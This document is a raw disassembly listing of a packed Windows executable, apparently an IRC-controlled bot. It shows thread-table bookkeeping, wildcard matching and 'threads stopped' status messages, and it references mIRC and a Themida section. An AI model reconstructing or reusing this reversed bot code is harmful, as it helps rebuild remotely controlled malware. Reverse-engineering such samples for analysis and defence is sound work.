loc_40AE09:				; CODE XREF: ___:0040AE14j
		cmp	eax, ecx
		jnz	short loc_40AE10
		mov	[ebp-4], edx

loc_40AE10:				; CODE XREF: ___:0040AE0Bj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE09
		push	61h
		pop	ecx

loc_40AE19:				; CODE XREF: ___:0040AE24j
		cmp	eax, ecx
		jnz	short loc_40AE20
		mov	[ebp-4], edx

loc_40AE20:				; CODE XREF: ___:0040AE1Bj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE19
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE65

loc_40AE3F:				; CODE XREF: ___:0040AE63j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B498
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE3F

loc_40AE65:				; CODE XREF: ___:0040AE3Dj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	near ptr 26808E8h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26C0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_43128C
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDA

loc_40AEB4:				; CODE XREF: ___:0040AED8j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B498
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB4

loc_40AEDA:				; CODE XREF: ___:0040AEB2j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_43D158
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26C05ECh
		call	near ptr 26808E8h
		nop
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF64
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF44
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF34
		mov	esi, offset dword_4312B4

loc_40AF34:				; CODE XREF: ___:0040AF2Dj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA0
		mov	esi, offset dword_4312B0
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF44:				; CODE XREF: ___:0040AF24j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF54
		mov	esi, offset dword_4312AC
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF54:				; CODE XREF: ___:0040AF4Bj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9B
		mov	esi, offset dword_4312A8
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF64:				; CODE XREF: ___:0040AF1Bj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7D
		mov	esi, offset dword_4312A4
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF7D:				; CODE XREF: ___:0040AF74j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8D
		mov	esi, offset dword_4312A0
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF8D:				; CODE XREF: ___:0040AF84j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_43129C
		jz	short loc_40AFA0

loc_40AF9B:				; CODE XREF: ___:0040AF5Bj
					; ___:0040AF6Bj
		mov	esi, offset dword_431298

loc_40AFA0:				; CODE XREF: ___:0040AF3Bj
					; ___:0040AF42j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431290
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE4

loc_40AFBE:				; CODE XREF: ___:0040AFE2j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B498
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBE

loc_40AFE4:				; CODE XREF: ___:0040AFBCj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEA	proc near		; CODE XREF: sub_40B08D+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 26808E8h
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B039
		call	dword_4CAFB0
		test	eax, eax
		mov	eax, offset dword_4312C0
		jnz	short loc_40B022
		mov	eax, offset dword_43D158

loc_40B022:				; CODE XREF: sub_40AFEA+31j
		push	eax
		push	esi
		push	offset dword_4312B8
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B059
; ---------------------------------------------------------------------------

loc_40B039:				; CODE XREF: sub_40AFEA+22j
		call	dword_4CAFB0
		test	eax, eax
		mov	eax, offset dword_4312C0
		jnz	short loc_40B04D
		mov	eax, offset dword_43D158

loc_40B04D:				; CODE XREF: sub_40AFEA+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40B059:				; CODE XREF: sub_40AFEA+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B088
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h

loc_40B088:				; CODE XREF: sub_40AFEA+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08D	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D5C4

loc_40B099:				; CODE XREF: sub_40B08D+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B4
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BE
; ---------------------------------------------------------------------------

loc_40B0B4:				; CODE XREF: sub_40B08D+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al

loc_40B0BE:				; CODE XREF: sub_40B08D+25j
		test	eax, eax
		jnz	short loc_40B0D0
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D63C
		jb	short loc_40B099
		jmp	short loc_40B0DE
; ---------------------------------------------------------------------------

loc_40B0D0:				; CODE XREF: sub_40B08D+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D5C8[eax*4]
		pop	ecx

loc_40B0DE:				; CODE XREF: sub_40B08D+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F1
		push	[ebp+arg_0]
		call	sub_40AFEA
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40B0F1:				; CODE XREF: sub_40B08D+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F6	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43DCE0

loc_40B0FE:				; CODE XREF: sub_40B0F6+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B112
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CACE0
		jl	short loc_40B0FE
		jmp	short loc_40B15D
; ---------------------------------------------------------------------------

loc_40B112:				; CODE XREF: sub_40B0F6+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43DCE0[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43DEE0[esi], eax
		and	dword_43DEE4[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43DEE8[esi], 0
		mov	dword_43DEEC[esi], eax
		and	byte_43DEF8[esi], 0
		pop	esi

loc_40B15D:				; CODE XREF: sub_40B0F6+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F6	endp

; ---------------------------------------------------------------------------
byte_40B161	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2989o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 90006A14h, 2C4E4FE8h, 555E5F02h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 4313C0h, 0FF0C75FFh, 9FE80875h
		dd 83FFFFE8h, 0FF3314C4h, 43DCE0BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C1C868FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h,	0C68124C4h
		dd 234h, 0E0FE8147h, 7C004CACh,	0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B231	proc near		; CODE XREF: sub_401ACD+7BA4p
					; sub_40B2BF+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2B9
		cmp	esi, 400h
		jge	short loc_40B2B9
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43DEF4[esi]
		lea	edi, dword_43DEF4[esi]
		call	near ptr 2680981h
		nop
		cmp	[edi], ebx
		jz	short loc_40B269
		push	1
		pop	ebp

loc_40B269:				; CODE XREF: sub_40B231+33j
		mov	[edi], ebx
		lea	edi, dword_43DEE8[esi]
		mov	dword_43DEE0[esi], ebx
		mov	dword_43DEE4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28A
		push	eax
		call	sub_4199C9
		pop	ecx

loc_40B28A:				; CODE XREF: sub_40B231+50j
		mov	[edi], ebx
		lea	edi, dword_43DEEC[esi]
		mov	byte ptr dword_43DCE0[esi], bl
		mov	byte_43DEF8[esi], bl
		push	dword ptr [edi]
		call	dword_4CB03C
		lea	esi, dword_43DEF0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CB03C
		mov	[esi], ebx
		pop	edi

loc_40B2B9:				; CODE XREF: sub_40B231+Dj
					; sub_40B231+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B231	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2BF	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43DCE0

loc_40B2CB:				; CODE XREF: sub_40B2BF+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DC
		push	edi
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DC
		inc	ebx

loc_40B2DC:				; CODE XREF: sub_40B2BF+Fj
					; sub_40B2BF+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CACE0
		jl	short loc_40B2CB
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F1	proc near		; CODE XREF: sub_401ACD+418Ep
					; sub_401ACD+42E0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43DEE4

loc_40B305:				; CODE XREF: sub_40B2F1+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B327
		test	edi, edi
		jle	short loc_40B319
		cmp	[esi], edi
		jz	short loc_40B319
		cmp	ebx, edi
		jnz	short loc_40B327

loc_40B319:				; CODE XREF: sub_40B2F1+1Ej
					; sub_40B2F1+22j
		push	ebx
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B327

loc_40B324:				; DATA XREF: Themida_:0055CB84o
		inc	[ebp+var_4]

loc_40B327:				; CODE XREF: sub_40B2F1+1Aj
					; sub_40B2F1+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CAEE4
		jl	short loc_40B305
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33E	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43DEE0

loc_40B345:				; CODE XREF: sub_40B33E+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34E
		inc	eax

loc_40B34E:				; CODE XREF: sub_40B33E+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CAEE0
		jl	short loc_40B345
		retn
sub_40B33E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35D	proc near		; CODE XREF: sub_401ACD+2433p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43DEE0

loc_40B367:				; CODE XREF: sub_40B35D+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B380
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CAEE0
		jl	short loc_40B367
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40B380:				; CODE XREF: sub_40B35D+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B384	proc near		; CODE XREF: sub_401ACD+1066p
					; sub_401ACD+126Cp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39D
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx

loc_40B39D:				; CODE XREF: sub_40B384+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3C9
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E3
; ---------------------------------------------------------------------------

loc_40B3C9:				; CODE XREF: sub_40B384+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h

loc_40B3E3:				; CODE XREF: sub_40B384+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B403
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_40B403:				; CODE XREF: sub_40B384+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		leave
		retn
sub_40B384	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B412	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BA47p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43DEF4[eax], ecx
		mov	dword_43DEE0[eax], ecx
		mov	dword_43DEE4[eax], ecx
		mov	dword_43DEE8[eax], ecx
		mov	dword_43DEEC[eax], ecx
		mov	dword_43DEF0[eax], ecx
		mov	byte ptr dword_43DCE0[eax], cl
		mov	byte_43DEF8[eax], cl
		retn
sub_40B412	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B44F	proc near		; CODE XREF: sub_401ACD+7E3Bp
					; sub_40B57D+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax

loc_40B459:				; CODE XREF: sub_40B44F+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4B9
		cmp	eax, 1
		jnz	short loc_40B4B9
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4B9
		cmp	cl, 2Ah
		jz	short loc_40B4A0
		cmp	cl, 3Fh
		jz	short loc_40B483
		cmp	cl, 5Bh
		jz	short loc_40B488
		xor	eax, eax
		cmp	cl, dl
		setz	al

loc_40B483:				; CODE XREF: sub_40B44F+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------

loc_40B488:				; CODE XREF: sub_40B44F+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E5
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------

loc_40B4A0:				; CODE XREF: sub_40B44F+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57D
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi

loc_40B4B3:				; CODE XREF: sub_40B44F+37j
					; sub_40B44F+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B459
; ---------------------------------------------------------------------------

loc_40B4B9:				; CODE XREF: sub_40B44F+Ej
					; sub_40B44F+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4C9
		cmp	eax, 1
		jnz	short loc_40B4E0
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4B9
; ---------------------------------------------------------------------------

loc_40B4C9:				; CODE XREF: sub_40B44F+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E0
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E0
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E0
		push	1
		pop	eax
		jmp	short loc_40B4E2
; ---------------------------------------------------------------------------

loc_40B4E0:				; CODE XREF: sub_40B44F+72j
					; sub_40B44F+7Dj ...
		xor	eax, eax

loc_40B4E2:				; CODE XREF: sub_40B44F+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B44F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E5	proc near		; CODE XREF: sub_40B44F+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B506
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx

loc_40B506:				; CODE XREF: sub_40B4E5+19j
		push	ebx
		push	esi

loc_40B508:				; CODE XREF: sub_40B4E5+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B516
		cmp	[ebp+var_4], eax
		jnz	short loc_40B562

loc_40B516:				; CODE XREF: sub_40B4E5+2Aj
		test	edi, edi
		jnz	short loc_40B557
		cmp	bl, 2Dh
		jnz	short loc_40B54B
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54B
		cmp	al, 5Dh
		jz	short loc_40B54B
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54B
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B557
		cmp	bl, al
		jg	short loc_40B557
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B557
; ---------------------------------------------------------------------------

loc_40B54B:				; CODE XREF: sub_40B4E5+38j
					; sub_40B4E5+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B557
		push	1
		pop	edi

loc_40B557:				; CODE XREF: sub_40B4E5+33j
					; sub_40B4E5+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B508
; ---------------------------------------------------------------------------

loc_40B562:				; CODE XREF: sub_40B4E5+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B56F
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx

loc_40B56F:				; CODE XREF: sub_40B4E5+82j
		cmp	edi, eax
		jnz	short loc_40B578
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]

loc_40B578:				; CODE XREF: sub_40B4E5+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57D	proc near		; CODE XREF: sub_40B44F+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx

loc_40B599:				; CODE XREF: sub_40B57D+3Aj
		cmp	[eax], bl
		jz	short loc_40B5B9
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AE
		cmp	cl, 2Ah
		jnz	short loc_40B5B9
		cmp	cl, 3Fh
		jnz	short loc_40B5B1

loc_40B5AE:				; CODE XREF: sub_40B57D+25j
		inc	eax
		mov	[edi], eax

loc_40B5B1:				; CODE XREF: sub_40B57D+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B599
; ---------------------------------------------------------------------------

loc_40B5B9:				; CODE XREF: sub_40B57D+1Ej
					; sub_40B57D+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C4
		inc	dword ptr [esi]
		jmp	short loc_40B5B9
; ---------------------------------------------------------------------------

loc_40B5C4:				; CODE XREF: sub_40B57D+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D6
		xor	eax, eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------

loc_40B5D6:				; CODE XREF: sub_40B57D+53j
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E5
		push	1
		pop	eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------

loc_40B5E5:				; CODE XREF: sub_40B57D+4Dj
					; sub_40B57D+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B62F

loc_40B5F3:				; CODE XREF: sub_40B57D+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]

loc_40B5F7:				; CODE XREF: sub_40B57D+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B60F
		cmp	cl, 5Bh
		jz	short loc_40B60F
		cmp	dl, bl
		jz	short loc_40B60F
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F7
; ---------------------------------------------------------------------------

loc_40B60F:				; CODE XREF: sub_40B57D+82j
					; sub_40B57D+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B626
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62B
; ---------------------------------------------------------------------------

loc_40B626:				; CODE XREF: sub_40B57D+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax

loc_40B62B:				; CODE XREF: sub_40B57D+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F3

loc_40B62F:				; CODE XREF: sub_40B57D+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	[ebp+var_4], 1

loc_40B642:				; CODE XREF: sub_40B57D+B6j
					; sub_40B57D+BCj
		mov	eax, [ebp+var_4]

loc_40B645:				; CODE XREF: sub_40B57D+57j
					; sub_40B57D+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64A	proc near		; CODE XREF: sub_401ACD+2AF5p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_4317DC
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_431440, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BC
		push	esi
		mov	esi, offset dword_431448

loc_40B67D:				; CODE XREF: sub_40B64A+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B2
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_4317D0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch

loc_40B6B2:				; CODE XREF: sub_40B64A+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67D
		pop	esi

loc_40B6BC:				; CODE XREF: sub_40B64A+2Bj
		push	dword_4CACE4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B719	proc near		; CODE XREF: sub_401ACD+2ADFp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CDAB0
		mov	ecx, dword_4CDAAC
		push	esi
		push	dword_4CACE4
		lea	esi, [ecx+eax]
		call	sub_41A88B
		pop	ecx
		push	eax
		push	esi
